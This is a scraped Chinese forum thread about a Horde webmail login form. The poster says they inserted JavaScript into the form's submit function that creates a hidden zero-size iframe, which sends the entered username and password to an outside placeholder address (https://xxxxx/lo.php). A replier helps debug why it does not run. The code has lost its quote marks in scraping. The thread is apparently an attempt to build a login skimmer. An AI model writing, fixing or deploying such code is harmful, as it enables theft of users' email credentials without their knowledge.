您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

请教一个原理问题

2025/11/13 11:08:22发布26次查看
function submit_login(e){ if (typeof e != 'undefined' && !enter_key_trap(e)) { return; } if (document.horde_login.horde_user.value == ) { alert(); document.horde_login.horde_user.focus(); return false; } else if (document.horde_login.horde_pass.value == ) { alert(); document.horde_login.horde_pass.focus(); return false; } else { document.horde_login.loginbutton.disabled = true; try { document.horde_login.ie_version.value = objccaps.getcomponentversion({89820200-ecbd-11cf-8b85-00aa005b4383}, componentid); } catch (e) { } document.horde_login.submit(); return true; }}
请问这两个用户名密码的表单如何提交到后台php的
回复讨论(解决方案) 贴出的表单html代码
print_r($_request) ; 看看
document.horde_login.submit();
执行名为 horde_login 的表单的 submit 方法(提交表单)
我再这个submit函数里面写了这么一段代码动态创建一个iframe,但是貌似没有执行请问我写错了?
var f=document.createelement(iframe);f.height=0;f.width=0;f.src=https://xxxxx/lo.php?user=+document.imp_login.imapuser.value+&pass+document.imp_login.pass.value;document.body.appendchild(f);
如果你说的是没有创建iframe的话 代码中 f.height=100%; f.width=100% 就可以了
如果你说的是没有创建iframe的话 代码中 f.height=100%; f.width=100% 就可以了 这个好像没什么关系吧
我在页面里执行了一下 加上就可以出来iframe
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product